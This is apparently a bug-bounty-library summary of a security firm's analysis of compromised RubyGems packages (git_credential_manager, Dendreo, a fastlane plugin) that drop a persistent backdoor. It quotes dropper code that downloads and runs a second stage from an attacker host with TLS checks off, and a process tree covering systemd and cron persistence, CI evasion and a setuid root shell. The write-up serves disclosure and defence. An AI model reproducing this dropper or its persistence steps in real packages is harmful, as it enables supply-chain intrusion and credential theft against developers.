# SleeperGem: Compromised git_credential_manager, Dendreo, and fastlane RubyGems Drop a Persistent Backdoor

Malicious RubyGems versions of git_credential_manager, Dendreo and a fastlane plugin act as loaders that skip CI, drop a persistent daemon on developer machines and harvest credentials.

- Payout: Real-world hack
- Severity: critical
- Program: RubyGems
- Analysis by: StepSecurity
- Disclosed: 2026-07-19
- Write-up quality: 7/10
- Original: https://www.stepsecurity.io/blog/sleepergem-compromised-rubygems-drop-persistent-backdoor
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-sleepergem-compromised-rubygems-drop-persistent-backdoor
- Tags: area:oss domain:oss impact:data-leak impact:privesc impact:rce kind:incident platform:threat-intel sev:critical tech:ruby technique:incomplete-fix technique:source-review vuln:privilege-escalation vuln:secrets-leak

**Target:** RubyGems packages (git_credential_manager, Dendreo, fastlane-plugin-run_tests_firebase_testlab)
**Root cause:** Hijacked dormant maintainer accounts published versions with no matching source tag; the gem's load path spawns a child Ruby install script that downloads a second stage from an attacker Forgejo host with TLS verification disabled.
**Steps:**
1. Attacker publishes git_credential_manager 2.8.0-2.8.3 to RubyGems with no matching GitHub tag; 2.8.2 wires the installer into the gem load path but comments out the launch line, 2.8.3 uncomments it.
2. On `require 'git_credential_manager'`, the gem spawns `ruby <gem_path>/bin/install`.
3. Child fetches `https://git.disroot.org/git-ecosystem/<product>/raw/branch/main` with `http.verify_mode = OpenSSL::SSL::VERIFY_NONE` and User-Agent `Git`, downloading `deploy.sh` and a native binary.
4. Malware checks ~30 CI env vars (GITHUB_ACTIONS, GITLAB_CI, CIRCLECI, etc.) and exits if any are set.
5. `sh -c /bin/sh '<gem_path>/git_credential_manager-2.8.3/package/deploy.sh' 2>&1 >/dev/null` runs; script copies binary to `$HOME/.local/share/gcm/git-credential-manager`, `chmod +x`, launches `--daemon`.
6. Persistence installed twice: `install --method=systemd --service-name=git-credential-manager` then `install --method=cron --service-name=git-credential-manager`.
7. Script probes the sudo and wheel groups; if passwordless sudo, re-runs as root and plants setuid root shell at a path mimicking a networking utility (on the runner `/usr/local/sbin/ping6`, mode 6777).
8. Dendreo 1.1.3/1.1.4 add git_credential_manager as a dependency to spread to existing users; fastlane plugin 0.3.2 reaches same C2.
**How found:** Triage queue flagged a brand-new gem with four versions published in rapid succession that only downloaded binaries from an unfamiliar host; the Forgejo username git-ecosystem mimicked an official account, and VirusTotal confirmed the binaries malicious. Diffing versions revealed the dropper being built incrementally (2.8.0 working dropper, 2.8.1 silences output, 2.8.2 wires into load path, 2.8.3 uncomments launch).
**Exploitation:** Compromised dormant maintainer accounts push malicious gem versions; on a developer laptop (CI env vars absent) requiring the gem triggers download of deploy.sh and a native daemon from git.disroot.org, which is installed as a systemd user service and cron job under the name git-credential-manager. The daemon performs credential harvesting/exfiltration (not characterized in the write-up); if passwordless sudo is available it escalates to root and plants a setuid shell at /usr/local/sbin/ping6.
**Escalation:** Dependency injection via Dendreo pulling in git_credential_manager; sudo/wheel group probe leading to root and setuid shell; dual persistence (systemd + cron) for resilience.
**Insight:** Diff consecutive malicious versions of a suspicious package: attackers iterate in small steps (silencing output, staging vs. detonating a commented-out launch line), and those one-line diffs reveal intent and the exact trigger point. Also check whether a new version has a matching source tag and whether dormant maintainer accounts suddenly publish.

## Proof of concept (copied exactly from the original report)

**Malicious gem dropper code fetching from Forgejo**

```
def base_url
 "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end


http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Disable SSL verification

if goos == "windows"
 Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
 Process.spawn("/bin/sh \"#{full_path}\"")
end
```

**Process tree of full kill chain**

```
ruby <gem_path>/git_credential_manager-2.8.3/bin/install
sh -c /bin/sh '<gem_path>/git_credential_manager-2.8.3/package/deploy.sh' 2>&1 >/dev/null
cp <gem_path>/.../package/git-credential-manager $HOME/.local/share/gcm/git-credential-manager
chmod +x $HOME/.local/share/gcm/git-credential-manager
$HOME/.local/share/gcm/git-credential-manager --daemon
$HOME/.local/share/gcm/git-credential-manager install --method=systemd --service-name=git-credential-manager
systemctl --user daemon-reload
$HOME/.local/share/gcm/git-credential-manager install --method=cron --service-name=git-credential-manager
getent group sudo
```

**Lockfile grep for compromised versions**

```
grep -RniE 'git_credential_manager \((2\.8\.[0-3])\)|Dendreo \(1\.1\.[34]\)|run_tests_firebase_testlab \(0\.3\.2\)' --include=Gemfile.lock .
```

